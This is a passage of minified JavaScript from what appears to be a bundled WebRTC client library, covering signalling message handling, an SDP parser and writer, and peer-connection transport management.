0?n:[]):r.case==="leave"?this.onLeave&&this.onLeave(r.value):r.case==="mute"?this.onRemoteMuteChanged&&this.onRemoteMuteChanged(r.value.sid,r.value.muted):r.case==="roomUpdate"?this.onRoomUpdate&&r.value.room&&this.onRoomUpdate(r.value.room):r.case==="connectionQuality"?this.onConnectionQuality&&this.onConnectionQuality(r.value):r.case==="streamStateUpdate"?this.onStreamStateUpdate&&this.onStreamStateUpdate(r.value):r.case==="subscribedQualityUpdate"?this.onSubscribedQualityUpdate&&this.onSubscribedQualityUpdate(r.value):r.case==="subscriptionPermissionUpdate"?this.onSubscriptionPermissionUpdate&&this.onSubscriptionPermissionUpdate(r.value):r.case==="refreshToken"?this.onTokenRefresh&&this.onTokenRefresh(r.value):r.case==="trackUnpublished"?this.onLocalTrackUnpublished&&this.onLocalTrackUnpublished(r.value):r.case==="subscriptionResponse"?this.onSubscriptionError&&this.onSubscriptionError(r.value):r.case==="pong"||(r.case==="pongResp"?(this.rtt=Date.now()-Number.parseInt(r.value.lastPingTimestamp.toString()),this.resetPingTimeout(),s=!0):this.log.debug("unsupported message",Object.assign(Object.assign({},this.logContext),{msgCase:r.case})));s||this.resetPingTimeout()}setReconnected(){for(;this.queuedRequests.length>0;){const e=this.queuedRequests.shift();e&&this.requestQueue.run(e)}}handleOnClose(e){return p(this,void 0,void 0,function*(){if(this.state===B.DISCONNECTED)return;const t=this.onClose;yield this.close(),this.log.debug("websocket connection closed: ".concat(e),Object.assign(Object.assign({},this.logContext),{reason:e})),t&&t(e)})}handleWSError(e){this.log.error("websocket error",Object.assign(Object.assign({},this.logContext),{error:e}))}resetPingTimeout(){if(this.clearPingTimeout(),!this.pingTimeoutDuration){this.log.warn("ping timeout duration not set",this.logContext);return}this.pingTimeout=Q.setTimeout(()=>{this.log.warn("ping timeout triggered. last pong received at: ".concat(new Date(Date.now()-this.pingTimeoutDuration*1e3).toUTCString()),this.logContext),this.handleOnClose("ping timeout")},this.pingTimeoutDuration*1e3)}clearPingTimeout(){this.pingTimeout&&Q.clearTimeout(this.pingTimeout)}startPingInterval(){if(this.clearPingInterval(),this.resetPingTimeout(),!this.pingIntervalDuration){this.log.warn("ping interval duration not set",this.logContext);return}this.log.debug("start ping interval",this.logContext),this.pingInterval=Q.setInterval(()=>{this.sendPing()},this.pingIntervalDuration*1e3)}clearPingInterval(){this.log.debug("clearing ping interval",this.logContext),this.clearPingTimeout(),this.pingInterval&&Q.clearInterval(this.pingInterval)}}function tr(i){const e={type:"offer",sdp:i.sdp};switch(i.type){case"answer":case"offer":case"pranswer":case"rollback":e.type=i.type;break}return e}function zt(i){return new Le({sdp:i.sdp,type:i.type})}function _d(i,e,t){var n;const r=new URLSearchParams;return r.set("access_token",i),t.reconnect&&(r.set("reconnect","1"),t.sid&&r.set("sid",t.sid)),r.set("auto_subscribe",t.autoSubscribe?"1":"0"),r.set("sdk",Ee()?"reactnative":"js"),r.set("version",e.version),r.set("protocol",e.protocol.toString()),e.deviceModel&&r.set("device_model",e.deviceModel),e.os&&r.set("os",e.os),e.osVersion&&r.set("os_version",e.osVersion),e.browser&&r.set("browser",e.browser),e.browserVersion&&r.set("browser_version",e.browserVersion),t.adaptiveStream&&r.set("adaptive_stream","1"),t.reconnectReason&&r.set("reconnect_reason",t.reconnectReason.toString()),!((n=navigator.connection)===null||n===void 0)&&n.type&&r.set("network",navigator.connection.type),"?".concat(r.toString())}var to={},io={exports:{}},ir=io.exports={v:[{name:"version",reg:/^(\d*)$/}],o:[{name:"origin",reg:/^(\S*) (\d*) (\d*) (\S*) IP(\d) (\S*)/,names:["username","sessionId","sessionVersion","netType","ipVer","address"],format:"%s %s %d %s IP%d %s"}],s:[{name:"name"}],i:[{name:"description"}],u:[{name:"uri"}],e:[{name:"email"}],p:[{name:"phone"}],z:[{name:"timezones"}],r:[{name:"repeats"}],t:[{name:"timing",reg:/^(\d*) (\d*)/,names:["start","stop"],format:"%d %d"}],c:[{name:"connection",reg:/^IN IP(\d) (\S*)/,names:["version","ip"],format:"IN IP%d %s"}],b:[{push:"bandwidth",reg:/^(TIAS|AS|CT|RR|RS):(\d*)/,names:["type","limit"],format:"%s:%s"}],m:[{reg:/^(\w*) (\d*) ([\w/]*)(?: (.*))?/,names:["type","port","protocol","payloads"],format:"%s %d %s %s"}],a:[{push:"rtp",reg:/^rtpmap:(\d*) ([\w\-.]*)(?:\s*\/(\d*)(?:\s*\/(\S*))?)?/,names:["payload","codec","rate","encoding"],format:function(i){return i.encoding?"rtpmap:%d %s/%s/%s":i.rate?"rtpmap:%d %s/%s":"rtpmap:%d %s"}},{push:"fmtp",reg:/^fmtp:(\d*) ([\S| ]*)/,names:["payload","config"],format:"fmtp:%d %s"},{name:"control",reg:/^control:(.*)/,format:"control:%s"},{name:"rtcp",reg:/^rtcp:(\d*)(?: (\S*) IP(\d) (\S*))?/,names:["port","netType","ipVer","address"],format:function(i){return i.address!=null?"rtcp:%d %s IP%d %s":"rtcp:%d"}},{push:"rtcpFbTrrInt",reg:/^rtcp-fb:(\*|\d*) trr-int (\d*)/,names:["payload","value"],format:"rtcp-fb:%s trr-int %d"},{push:"rtcpFb",reg:/^rtcp-fb:(\*|\d*) ([\w-_]*)(?: ([\w-_]*))?/,names:["payload","type","subtype"],format:function(i){return i.subtype!=null?"rtcp-fb:%s %s %s":"rtcp-fb:%s %s"}},{push:"ext",reg:/^extmap:(\d+)(?:\/(\w+))?(?: (urn:ietf:params:rtp-hdrext:encrypt))? (\S*)(?: (\S*))?/,names:["value","direction","encrypt-uri","uri","config"],format:function(i){return"extmap:%d"+(i.direction?"/%s":"%v")+(i["encrypt-uri"]?" %s":"%v")+" %s"+(i.config?" %s":"")}},{name:"extmapAllowMixed",reg:/^(extmap-allow-mixed)/},{push:"crypto",reg:/^crypto:(\d*) ([\w_]*) (\S*)(?: (\S*))?/,names:["id","suite","config","sessionConfig"],format:function(i){return i.sessionConfig!=null?"crypto:%d %s %s %s":"crypto:%d %s %s"}},{name:"setup",reg:/^setup:(\w*)/,format:"setup:%s"},{name:"connectionType",reg:/^connection:(new|existing)/,format:"connection:%s"},{name:"mid",reg:/^mid:([^\s]*)/,format:"mid:%s"},{name:"msid",reg:/^msid:(.*)/,format:"msid:%s"},{name:"ptime",reg:/^ptime:(\d*(?:\.\d*)*)/,format:"ptime:%d"},{name:"maxptime",reg:/^maxptime:(\d*(?:\.\d*)*)/,format:"maxptime:%d"},{name:"direction",reg:/^(sendrecv|recvonly|sendonly|inactive)/},{name:"icelite",reg:/^(ice-lite)/},{name:"iceUfrag",reg:/^ice-ufrag:(\S*)/,format:"ice-ufrag:%s"},{name:"icePwd",reg:/^ice-pwd:(\S*)/,format:"ice-pwd:%s"},{name:"fingerprint",reg:/^fingerprint:(\S*) (\S*)/,names:["type","hash"],format:"fingerprint:%s %s"},{push:"candidates",reg:/^candidate:(\S*) (\d*) (\S*) (\d*) (\S*) (\d*) typ (\S*)(?: raddr (\S*) rport (\d*))?(?: tcptype (\S*))?(?: generation (\d*))?(?: network-id (\d*))?(?: network-cost (\d*))?/,names:["foundation","component","transport","priority","ip","port","type","raddr","rport","tcptype","generation","network-id","network-cost"],format:function(i){var e="candidate:%s %d %s %d %s %d typ %s";return e+=i.raddr!=null?" raddr %s rport %d":"%v%v",e+=i.tcptype!=null?" tcptype %s":"%v",i.generation!=null&&(e+=" generation %d"),e+=i["network-id"]!=null?" network-id %d":"%v",e+=i["network-cost"]!=null?" network-cost %d":"%v",e}},{name:"endOfCandidates",reg:/^(end-of-candidates)/},{name:"remoteCandidates",reg:/^remote-candidates:(.*)/,format:"remote-candidates:%s"},{name:"iceOptions",reg:/^ice-options:(\S*)/,format:"ice-options:%s"},{push:"ssrcs",reg:/^ssrc:(\d*) ([\w_-]*)(?::(.*))?/,names:["id","attribute","value"],format:function(i){var e="ssrc:%d";return i.attribute!=null&&(e+=" %s",i.value!=null&&(e+=":%s")),e}},{push:"ssrcGroups",reg:/^ssrc-group:([\x21\x23\x24\x25\x26\x27\x2A\x2B\x2D\x2E\w]*) (.*)/,names:["semantics","ssrcs"],format:"ssrc-group:%s %s"},{name:"msidSemantic",reg:/^msid-semantic:\s?(\w*) (\S*)/,names:["semantic","token"],format:"msid-semantic: %s %s"},{push:"groups",reg:/^group:(\w*) (.*)/,names:["type","mids"],format:"group:%s %s"},{name:"rtcpMux",reg:/^(rtcp-mux)/},{name:"rtcpRsize",reg:/^(rtcp-rsize)/},{name:"sctpmap",reg:/^sctpmap:([\w_/]*) (\S*)(?: (\S*))?/,names:["sctpmapNumber","app","maxMessageSize"],format:function(i){return i.maxMessageSize!=null?"sctpmap:%s %s %s":"sctpmap:%s %s"}},{name:"xGoogleFlag",reg:/^x-google-flag:([^\s]*)/,format:"x-google-flag:%s"},{push:"rids",reg:/^rid:([\d\w]+) (\w+)(?: ([\S| ]*))?/,names:["id","direction","params"],format:function(i){return i.params?"rid:%s %s %s":"rid:%s %s"}},{push:"imageattrs",reg:new RegExp("^imageattr:(\\d+|\\*)[\\s\\t]+(send|recv)[\\s\\t]+(\\*|\\[\\S+\\](?:[\\s\\t]+\\[\\S+\\])*)(?:[\\s\\t]+(recv|send)[\\s\\t]+(\\*|\\[\\S+\\](?:[\\s\\t]+\\[\\S+\\])*))?"),names:["pt","dir1","attrs1","dir2","attrs2"],format:function(i){return"imageattr:%s %s %s"+(i.dir2?" %s %s":"")}},{name:"simulcast",reg:new RegExp("^simulcast:(send|recv) ([a-zA-Z0-9\\-_~;,]+)(?:\\s?(send|recv) ([a-zA-Z0-9\\-_~;,]+))?$"),names:["dir1","list1","dir2","list2"],format:function(i){return"simulcast:%s %s"+(i.dir2?" %s %s":"")}},{name:"simulcast_03",reg:/^simulcast:[\s\t]+([\S+\s\t]+)$/,names:["value"],format:"simulcast: %s"},{name:"framerate",reg:/^framerate:(\d+(?:$|\.\d+))/,format:"framerate:%s"},{name:"sourceFilter",reg:/^source-filter: *(excl|incl) (\S*) (IP4|IP6|\*) (\S*) (.*)/,names:["filterMode","netType","addressTypes","destAddress","srcList"],format:"source-filter: %s %s %s %s %s"},{name:"bundleOnly",reg:/^(bundle-only)/},{name:"label",reg:/^label:(.+)/,format:"label:%s"},{name:"sctpPort",reg:/^sctp-port:(\d+)$/,format:"sctp-port:%s"},{name:"maxMessageSize",reg:/^max-message-size:(\d+)$/,format:"max-message-size:%s"},{push:"tsRefClocks",reg:/^ts-refclk:([^\s=]*)(?:=(\S*))?/,names:["clksrc","clksrcExt"],format:function(i){return"ts-refclk:%s"+(i.clksrcExt!=null?"=%s":"")}},{name:"mediaClk",reg:/^mediaclk:(?:id=(\S*))? *([^\s=]*)(?:=(\S*))?(?: *rate=(\d+)\/(\d+))?/,names:["id","mediaClockName","mediaClockValue","rateNumerator","rateDenominator"],format:function(i){var e="mediaclk:";return e+=i.id!=null?"id=%s %s":"%v%s",e+=i.mediaClockValue!=null?"=%s":"",e+=i.rateNumerator!=null?" rate=%s":"",e+=i.rateDenominator!=null?"/%s":"",e}},{name:"keywords",reg:/^keywds:(.+)$/,format:"keywds:%s"},{name:"content",reg:/^content:(.+)/,format:"content:%s"},{name:"bfcpFloorCtrl",reg:/^floorctrl:(c-only|s-only|c-s)/,format:"floorctrl:%s"},{name:"bfcpConfId",reg:/^confid:(\d+)/,format:"confid:%s"},{name:"bfcpUserId",reg:/^userid:(\d+)/,format:"userid:%s"},{name:"bfcpFloorId",reg:/^floorid:(.+) (?:m-stream|mstrm):(.+)/,names:["id","mStream"],format:"floorid:%s mstrm:%s"},{push:"invalid",names:["value"]}]};Object.keys(ir).forEach(function(i){var e=ir[i];e.forEach(function(t){t.reg||(t.reg=/(.*)/),t.format||(t.format="%s")})});var no=io.exports;(function(i){var e=function(a){return String(Number(a))===a?Number(a):a},t=function(a,c,d,u){if(u&&!d)c[u]=e(a[1]);else for(var l=0;l<d.length;l+=1)a[l+1]!=null&&(c[d[l]]=e(a[l+1]))},n=function(a,c,d){var u=a.name&&a.names;a.push&&!c[a.push]?c[a.push]=[]:u&&!c[a.name]&&(c[a.name]={});var l=a.push?{}:u?c[a.name]:c;t(d.match(a.reg),l,a.names,a.name),a.push&&c[a.push].push(l)},r=no,s=RegExp.prototype.test.bind(/^([a-z])=(.*)/);i.parse=function(a){var c={},d=[],u=c;return a.split(/(\r\n|\r|\n)/).filter(s).forEach(function(l){var h=l[0],f=l.slice(2);h==="m"&&(d.push({rtp:[],fmtp:[]}),u=d[d.length-1]);for(var v=0;v<(r[h]||[]).length;v+=1){var g=r[h][v];if(g.reg.test(f))return n(g,u,f)}}),c.media=d,c};var o=function(a,c){var d=c.split(/=(.+)/,2);return d.length===2?a[d[0]]=e(d[1]):d.length===1&&c.length>1&&(a[d[0]]=void 0),a};i.parseParams=function(a){return a.split(/;\s?/).reduce(o,{})},i.parseFmtpConfig=i.parseParams,i.parsePayloads=function(a){return a.toString().split(" ").map(Number)},i.parseRemoteCandidates=function(a){for(var c=[],d=a.split(" ").map(e),u=0;u<d.length;u+=3)c.push({component:d[u],ip:d[u+1],port:d[u+2]});return c},i.parseImageAttributes=function(a){return a.split(" ").map(function(c){return c.substring(1,c.length-1).split(",").reduce(o,{})})},i.parseSimulcastStreamList=function(a){return a.split(";").map(function(c){return c.split(",").map(function(d){var u,l=!1;return d[0]!=="~"?u=e(d):(u=e(d.substring(1,d.length)),l=!0),{scid:u,paused:l}})})}})(to);var mi=no,Id=/%[sdv%]/g,Od=function(i){var e=1,t=arguments,n=t.length;return i.replace(Id,function(r){if(e>=n)return r;var s=t[e];switch(e+=1,r){case"%%":return"%";case"%s":return String(s);case"%d":return Number(s);case"%v":return""}})},ot=function(i,e,t){var n=e.format instanceof Function?e.format(e.push?t:t[e.name]):e.format,r=[i+"="+n];if(e.names)for(var s=0;s<e.names.length;s+=1){var o=e.names[s];e.name?r.push(t[e.name][o]):r.push(t[e.names[s]])}else r.push(t[e.name]);return Od.apply(null,r)},xd=["v","o","s","i","u","e","p","c","b","t","r","z","a"],Md=["i","c","b","a"],Dd=function(i,e){e=e||{},i.version==null&&(i.version=0),i.name==null&&(i.name=" "),i.media.forEach(function(s){s.payloads==null&&(s.payloads="")});var t=e.outerOrder||xd,n=e.innerOrder||Md,r=[];return t.forEach(function(s){mi[s].forEach(function(o){o.name in i&&i[o.name]!=null?r.push(ot(s,o,i)):o.push in i&&i[o.push]!=null&&i[o.push].forEach(function(a){r.push(ot(s,o,a))})})}),i.media.forEach(function(s){r.push(ot("m",mi.m[0],s)),n.forEach(function(o){mi[o].forEach(function(a){a.name in s&&s[a.name]!=null?r.push(ot(o,a,s)):a.push in s&&s[a.push]!=null&&s[a.push].forEach(function(c){r.push(ot(o,a,c))})})})}),r.join(`\r
`)+`\r
`},Ad=to,Nd=Dd,gi=Nd,dt=Ad.parse;const Ld=.7,Qe={NegotiationStarted:"negotiationStarted",NegotiationComplete:"negotiationComplete",RTPVideoPayloadTypes:"rtpVideoPayloadTypes"};class nr extends ve.EventEmitter{get pc(){return this._pc||(this._pc=this.createPC()),this._pc}constructor(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};var n;super(),this.log=M,this.pendingCandidates=[],this.restartingIce=!1,this.renegotiate=!1,this.trackBitrates=[],this.remoteStereoMids=[],this.remoteNackMids=[],this.negotiate=ln(r=>p(this,void 0,void 0,function*(){this.emit(Qe.NegotiationStarted);try{yield this.createAndSendOffer()}catch(s){if(r)r(s);else throw s}}),100),this.close=()=>{this._pc&&(this._pc.close(),this._pc.onconnectionstatechange=null,this._pc.oniceconnectionstatechange=null,this._pc.onicegatheringstatechange=null,this._pc.ondatachannel=null,this._pc.onnegotiationneeded=null,this._pc.onsignalingstatechange=null,this._pc.onicecandidate=null,this._pc.ondatachannel=null,this._pc.ontrack=null,this._pc.onconnectionstatechange=null,this._pc.oniceconnectionstatechange=null,this._pc=null)},this.log=Ce((n=t.loggerName)!==null&&n!==void 0?n:he.PCTransport),this.loggerOptions=t,this.config=e,this._pc=this.createPC()}createPC(){const e=new RTCPeerConnection(this.config);return e.onicecandidate=t=>{var n;t.candidate&&((n=this.onIceCandidate)===null||n===void 0||n.call(this,t.candidate))},e.onicecandidateerror=t=>{var n;(n=this.onIceCandidateError)===null||n===void 0||n.call(this,t)},e.oniceconnectionstatechange=()=>{var t;(t=this.onIceConnectionStateChange)===null||t===void 0||t.call(this,e.iceConnectionState)},e.onsignalingstatechange=()=>{var t;(t=this.onSignalingStatechange)===null||t===void 0||t.call(this,e.signalingState)},e.onconnectionstatechange=()=>{var t;(t=this.onConnectionStateChange)===null||t===void 0||t.call(this,e.connectionState)},e.ondatachannel=t=>{var n;(n=this.onDataChannel)===null||n===void 0||n.call(this,t)},e.ontrack=t=>{var n;(n=this.onTrack)===null||n===void 0||n.call(this,t)},e}get logContext(){var e,t;return Object.assign({},(t=(e=this.loggerOptions).loggerContextCb)===null||t===void 0?void 0:t.call(e))}get isICEConnected(){return this._pc!==null&&(this.pc.iceConnectionState==="connected"||this.pc.iceConnectionState==="completed")}addIceCandidate(e){return p(this,void 0,void 0,function*(){if(this.pc.remoteDescription&&!this.restartingIce)return this.pc.addIceCandidate(e);this.pendingCandidates.push(e)})}setRemoteDescription(e){return p(this,void 0,void 0,function*(){var t;let n;if(e.type==="offer"){let{stereoMids:r,nackMids:s}=Fd(e);this.remoteStereoMids=r,this.remoteNackMids=s}else if(e.type==="answer"){const r=dt((t=e.sdp)!==null&&t!==void 0?t:"");r.media.forEach(s=>{s.type==="audio"&&this.trackBitrates.some(o=>{if(!o.transceiver||s.mid!=o.transceiver.mid)return!1;let a=0;if(s.rtp.some(d=>d.codec.toUpperCase()===o.codec.toUpperCase()?(a=d.payload,!0):!1),a===0)return!0;let c=!1;for(const d of s.fmtp)if(d.payload===a){d.config=d.config.split(";").filter(u=>!u.includes("maxaveragebitrate")).join(";"),o.maxbr>0&&(d.config+=";maxaveragebitrate=".concat(o.maxbr*1e3)),c=!0;break}return c||o.maxbr>0&&s.fmtp.push({payload:a,config:"maxaveragebitrate=".concat(o.maxbr*1e3)}),!0})}),n=gi(r)}yield this.setMungedSDP(e,n,!0),this.pendingCandidates.forEach(r=>{this.pc.addIceCandidate(r)}),this.pendingCandidates=[],this.restartingIce=!1,this.renegotiate?(this.renegotiate=!1,yield this.createAndSendOffer()):e.type==="answer"&&(this.emit(Qe.NegotiationComplete),e.sdp&&dt(e.sdp).media.forEach(s=>{s.type==="video"&&this.emit(Qe.RTPVideoPayloadTypes,s.rtp)}))})}createAndSendOffer(e){return p(this,void 0,void 0,function*(){var t;if(this.onOffer===void 0)return;if(e!=null&&e.iceRestart&&(this.log.debug("restarting ICE",this.logContext),this.restartingIce=!0),this._pc&&this._pc.signalingState==="have-local-offer"){const s=this._pc.remoteDescription;if(e!=null&&e.iceRestart&&s)yield this._pc.setRemoteDescription(s);else{this.renegotiate=!0;return}}else if(!this._pc||this._pc.signalingState==="closed"){this.log.warn("could not createOffer with closed peer connection",this.logContext);return}this.log.debug("starting to negotiate",this.logContext);const n=yield this.pc.createOffer(e),r=dt((t=n.sdp)!==null&&t!==void 0?t:"");r.media.forEach(s=>{s.type==="audio"?rr(s,[],[]):s.type==="video"&&this.trackBitrates.some(o=>{if(!s.msid||!o.cid||!s.msid.includes(o.cid))return!1;let a=0;if(s.rtp.some(d=>d.codec.toUpperCase()===o.codec.toUpperCase()?(a=d.payload,!0):!1),a===0||(ft(o.codec)&&Ud(s),o.codec!=="av1"))return!0;const c=Math.round(o.maxbr*Ld);for(const d of s.fmtp)if(d.payload===a){d.config.includes("x-google-start-bitrate")||(d.config+=";x-google-start-bitrate=".concat(c));break}return!0})}),yield this.setMungedSDP(n,gi(r)),this.onOffer(n)})}createAndSetAnswer(){return p(this,void 0,void 0,function*(){var e;const t=yield this.pc.createAnswer(),n=dt((e=t.sdp)!==null&&e!==void 0?e:"");return n.media.forEach(r=>{r.type==="audio"&&rr(r,this.remoteStereoMids,this.remoteNackMids)}),yield this.setMungedSDP(t,gi(n)),t})}createDataChannel(e,t){return this.pc.createDataChannel(e,t)}addTransceiver(e,t){return this.pc.addTransceiver(e,t)}addTrack(e){if(!this._pc)throw new W("PC closed, cannot add track");return this._pc.addTrack(e)}setTrackCodecBitrate(e){this.trackBitrates.push(e)}setConfiguration(e){var t;if(!this._pc)throw new W("PC closed, cannot configure");return(t=this._pc)===null||t===void 0?void 0:t.setConfiguration(e)}canRemoveTrack(){var e;return!!(!((e=this._pc)===null||e===void 0)&&e.removeTrack)}removeTrack(e){var t;return(t=this._pc)===null||t===void 0?void 0:t.removeTrack(e)}getConnectionState(){var e,t;return(t=(e=this._pc)===null||e===void 0?void 0:e.connectionState)!==null&&t!==void 0?t:"closed"}getICEConnectionState(){var e,t;return(t=(e=this._pc)===null||e===void 0?void 0:e.iceConnectionState)!==null&&t!==void 0?t:"closed"}getSignallingState(){var e,t;return(t=(e=this._pc)===null||e===void 0?void 0:e.signalingState)!==null&&t!==void 0?t:"closed"}getTransceivers(){var e,t;return(t=(e=this._pc)===null||e===void 0?void 0:e.getTransceivers())!==null&&t!==void 0?t:[]}getSenders(){var e,t;return(t=(e=this._pc)===null||e===void 0?void 0:e.getSenders())!==null&&t!==void 0?t:[]}getLocalDescription(){var e;return(e=this._pc)===null||e===void 0?void 0:e.localDescription}getRemoteDescription(){var e;return(e=this.pc)===null||e===void 0?void 0:e.remoteDescription}getStats(){return this.pc.getStats()}getConnectedAddress(){return p(this,void 0,void 0,function*(){var e;if(!this._pc)return;let t="";const n=new Map,r=new Map;if((yield this._pc.getStats()).forEach(a=>{switch(a.type){case"transport":t=a.selectedCandidatePairId;break;case"candidate-pair":t===""&&a.selected&&(t=a.id),n.set(a.id,a);break;case"remote-candidate":r.set(a.id,"".concat(a.address,":").concat(a.port));break}}),t==="")return;const o=(e=n.get(t))===null||e===void 0?void 0:e.remoteCandidateId;if(o!==void 0)return r.get(o)})}setMungedSDP(e,t,n){return p(this,void 0,void 0,function*(){if(t){const r=e.sdp;e.sdp=t;try{this.log.debug("setting munged ".concat(n?"remote":"local"," description"),this.logContext),n?yield this.pc.setRemoteDescription(e):yield this.pc.setLocalDescription(e);return}catch(s){this.log.warn("not able to set ".concat(e.type,", falling back to unmodified sdp"),Object.assign(Object.assign({},this.logContext),{error:s,sdp:t})),e.sdp=r}}try{n?yield this.pc.setRemoteDescription(e):yield this.pc.setLocalDescription(e)}catch(r){let s="unknown error";r instanceof Error?s=r.message:typeof r=="string"&&(s=r);const o={error:s,sdp:e.sdp};throw!n&&this.pc.remoteDescription&&(o.remoteSdp=this.pc.remoteDescription),this.log.error("unable to set ".concat(e.type),Object.assign(Object.assign({},this.logContext),{fields:o})),new ji(s)}})}}function rr(i,e,t){let n=0;i.rtp.some(r=>r.codec==="opus"?(n=r.payload,!0):!1),n>0&&(i.rtcpFb||(i.rtcpFb=[]),t.includes(i.mid)&&!i.rtcpFb.some(r=>r.payload===n&&r.type==="nack")&&i.rtcpFb.push({payload:n,type:"nack"}),e.includes(i.mid)&&i.fmtp.some(r=>r.payload===n?(r.config.includes("stereo=1")||(r.config+=";stereo=1"),!0):!1))}function Ud(i){var e,t;let n=0;((e=i.ext)===null||e===void 0?void 0:e.some(s=>s.uri===Qn?!0:(s.value>n&&(n=s.value),!1)))||(t=i.ext)===null||t===void 0||t.push({value:n+1,uri:Qn})}function Fd(i){var e;const t=[],n=[],r=dt((e=i.sdp)!==null&&e!==void 0?e:"");let s=0;return r.media.forEach(o=>{var a;o.type==="audio"&&(o.rtp.some(c=>c.codec==="opus"?(s=c.payload,!0):!1),!((a=o.rtcpFb)===null||a===void 0)&&a.some(c=>c.payload===s&&c.type==="nack")&&n.push(o.mid),o.fmtp.some(c=>c.payload===s?(c.config.includes("sprop-stereo=1")&&t.push(o.mid),!0):!1))}),{stereoMids:t,nackMids:n}}const Hi="vp8",jd={audioPreset:Bi.music,dtx:!0,red:!0,forceStereo:!1,simulcast:!0,screenShareEncoding:hn.h1080fps15.encoding,stopMicTrackOnMute:!1,videoCodec:Hi,backupCodec:!0},ro={autoGainControl:!0,echoCancellation:!0,noiseSuppression:!0},so={resolution:yt.h720.resolution},Bd={adaptiveStream:!1,dynacast:!1,stopLocalTrackOnUnpublish:!0,reconnectPolicy:new Ec,disconnectOnPageLeave:!0,webAudioMix:!1},mn={autoSubscribe:!0,maxRetries:1,peerConnectionTimeout:15e3,websocketTimeout:15e3};var q;(function(i){i[i.NEW=0]="NEW",i[i.CONNECTING=1]="CONNECTING",i[i.CONNECTED=2]="CONNECTED",i[i.FAILED=3]="FAILED",i[i.CLOSING=4]="CLOSING",i[i.CLOSED=5]="CLOSED"})(q||(q={}));class Vd{get needsPublisher(){return this.isPublisherConnectionRequired}get needsSubscriber(){return this.isSubscriberConnectionRequired}get currentState(){return this.state}constructor(e,t,n){var r;this.peerConnectionTimeout=mn.peerConnectionTimeout,this.log=M,this.updateState=()=>{var s;const o=this.state,a=this.requiredTransports.map(c=>c.getConnectionState());a.every(c=>c==="connected")?this.state=q.CONNECTED:a.some(c=>c==="failed")?this.state=q.FAILED:a.some(c=>c==="connecting")?this.state=q.CONNECTING:a.every(c=>c==="closed")?this.state=q.CLOSED:a.some(c=>c==="closed")?this.state=q.CLOSING:a.every(c=>c==="new")&&(this.state=q.NEW),o!==this.state&&(this.log.debug("pc state change: from ".concat(q[o]," to ").concat(q[this.state]),this.logContext),(s=this.onStateChange)===null||s===void 0||s.call(this,this.state,this.publisher.getConnectionState(),this.subscriber.getConnectionState()))},this.log=Ce((r=n.loggerName)!==null&&r!==void 0?r:he.PCManager),this.loggerOptions=n,this.isPublisherConnectionRequired=!t,this.isSubscriberConnectionRequired=t,this.publisher=new nr(e,n),this.subscriber=new nr(e,n),this.publisher.onConnectionStateChange=this.updateState,this.subscriber.onConnectionStateChange=this.updateState,this.publisher.onIceConnectionStateChange=this.updateState,this.subscriber.onIceConnectionStateChange=this.updateState,this.publisher.onSignalingStatechange=this.updateState,this.subscriber.onSignalingStatechange=this.updateState,this.publisher.onIceCandidate=s=>{var o;(o=this.onIceCandidate)===null||o===void 0||o.call(this,s,le.PUBLISHER)},this.subscriber.onIceCandidate=s=>{var o;(o=this.onIceCandidate)===null||o===void 0||o.call(this,s,le.SUBSCRIBER)},this.subscriber.onDataChannel=s=>{var o;(o=this.onDataChannel)===null||o===void 0||o.call(this,s)},this.subscriber.onTrack=s=>{var o;(o=this.onTrack)===null||o===void 0||o.call(this,s)},this.publisher.onOffer=s=>{var o;(o=this.onPublisherOffer)===null||o===void 0||o.call(this,s)},this.state=q.NEW,this.connectionLock=new oe}get logContext(){var e,t;return Object.assign({},(t=(e=this.loggerOptions).loggerContextCb)===null||t===void 0?void 0:t.call(e))}requirePublisher(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;this.isPublisherConnectionRequired=e,this.updateState()}requireSubscriber(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;this.isSubscriberConnectionRequired=e,this.updateState()}createAndSendPublisherOffer(e){return this.publisher.createAndSendOffer(e)}setPublisherAnswer(e){return this.publisher.setRemoteDescription(e)}removeTrack(e){return this.publisher.removeTrack(e)}close(){return p(this,void 0,void 0,function*(){if(this.publisher&&this.publisher.getSignallingState()!=="closed"){const e=this.publisher;for(const t of e.getSenders())try{e.canRemoveTrack()&&e.removeTrack(t)}catch(n){this.log.warn("could not removeTrack",Object.assign(Object.assign({},this.logContext),{error:n}))}}yield Promise.all([this.publisher.close(),this.subscriber.close()]),this.updateState()})}triggerIceRestart(){return p(this,void 0,void 0,function*(){this.subscriber.restartingIce=!0,this.needsPublisher&&(yield this.createAndSendPublisherOffer({iceRestart:!0}))})}addIceCandidate(e,t){return p(this,void 0,void 0,function*(){t===le.PUBLISHER?yield this.publisher.addIceCandidate(e):yield this.subscriber.addIceCandidate(e)})}createSubscriberAnswerFromOffer(e){return p(this,void 0,void 0,function*(){return this.log.debug("received server offer",Object.assign(Object.assign({},this.logContext),{RTCSdpType:e.type,sdp:e.sdp,signalingState:this.subscriber.getSignallingState().toString()})),yield this.subscriber.setRemoteDescription(e),yield this.subscriber.createAndSetAnswer()})}updateConfiguration(e,t){this.publisher.setConfiguration(e),this.subscriber.setConfiguration(e),t&&this.triggerIceRestart()}ensurePCTransportConnection(e,t){return p(this,void 0,void 0,function*(){var n;const r=yield this.connectionLock.lock();try{this.isPublisherConnectionRequired&&this.publisher.getConnectionState()!=="connected"&&this.publisher.getConnectionState()!=="connecting"&&(this.log.debug("negotiation required, start negotiating",this.logContext),this.publisher.negotiate()),yield Promise.all((n=this.requiredTransports)===null||n===void 0?void 0:n.map(s=>this.ensureTransportConnected(s,e,t)))}finally{r()}})}negotiate(e){return p(this,void 0,void 0,function*(){return new Promise((t,n)=>p(this,void 0,void 0,function*(){const r=setTimeout(()=>{n("negotiation timed out")},this.peerConnectionTimeout),s=()=>{clearTimeout(r),n("negotiation aborted")};e.signal.addEventListener("abort",s),this.publisher.once(Qe.NegotiationStarted,()=>{e.signal.aborted||this.publisher.once(Qe.NegotiationComplete,()=>{clearTimeout(r),t()})}),yield this.publisher.negotiate(o=>{clearTimeout(r),n(o)})}))})}addPublisherTransceiver(e,t){return this.publisher.addTransceiver(e,t)}addPublisherTrack(e){return this.publisher.addTrack(e)}createPublisherDataChannel(e,t){return this.publisher.createDataChannel(e,t)}getConnectedAddress(e){return e===le.PUBLISHER?this.publisher.getConnectedAddress():e===le.SUBSCRIBER?this.publisher.getConnectedAddress():this.requiredTransports[0].getConnectedAddress()}get requiredTransports(){const e=[];return 